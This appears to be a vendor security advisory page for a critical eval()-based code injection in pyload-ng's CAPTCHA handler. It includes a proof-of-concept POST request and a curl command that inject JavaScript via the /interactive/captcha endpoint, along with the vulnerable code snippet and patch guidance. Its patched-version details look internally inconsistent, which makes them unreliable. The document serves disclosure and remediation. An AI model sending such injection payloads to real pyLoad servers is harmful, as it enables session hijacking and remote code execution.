GHSA-8w3f-4r8f-pf53 is a critical-severity (CVSS 9.8) Code Injection vulnerability in pyload-ng. A fix is available for pyload-ng — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-8w3f-4r8f-pf53.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
pyload-ngReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
An unsafe JavaScript evaluation vulnerability in pyLoad’s CAPTCHA processing code allows unauthenticated remote attackers to execute arbitrary code in the client browser and potentially the backend server. Exploitation requires no user interaction or authentication and can result in session hijacking, credential theft, and full system rce.
Details
The vulnerable code resides in
function onCaptchaResult(result) {
eval(result); // Direct execution of attacker-controlled input
}
- The
onCaptchaResult()function directly passes CAPTCHA results (sent from the user) intoeval() - No sanitization or validation is performed on this input
- A malicious CAPTCHA result can include JavaScript such as
fetch()orchild_process.exec()in environments using NodeJS - Attackers can fully hijack sessions and pivot to remote code execution on the server if the environment allows it
Reproduction Methods
- Official Source Installation:
git clone https://github.com/pyload/pyload
cd pyload
git checkout 0.4.20
python -m pip install -e .
pyload --userdir=/tmp/pyload
- Virtual Environment:
python -m venv pyload-env
source pyload-env/bin/activate
pip install pyload==0.4.20
pyload
CAPTCHA Endpoint Verification
Technical Clarification:
-
The vulnerable endpoint is actually:
/interactive/captcha -
Complete PoC Request:
POST /interactive/captcha HTTP/1.1
Host: localhost:8000
Content-Type: application/x-www-form-urlencoded
cid=123&response=1%3Balert(document.cookie)
- Curl Command Correction:
curl -X POST "http://localhost:8000/interactive/captcha" \
-d "cid=123&response=1%3Balert(document.cookie)"
- Vulnerable Code Location:
The eval() vulnerability is confirmed in:src/pyload/webui/app/static/js/captcha-interactive.user.js
Resources
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | pyload-ng | all versions | 0.20pip install --upgrade 'pyload-ng==0.20' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pyload-ng, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update pyload-ng to 0.20 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-8w3f-4r8f-pf53 is resolved across your whole dependency graph.
Workarounds
Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.
Frequently Asked Questions
Is GHSA-8w3f-4r8f-pf53 in your dependencies?
Find it across PyPI, including transitive dependencies.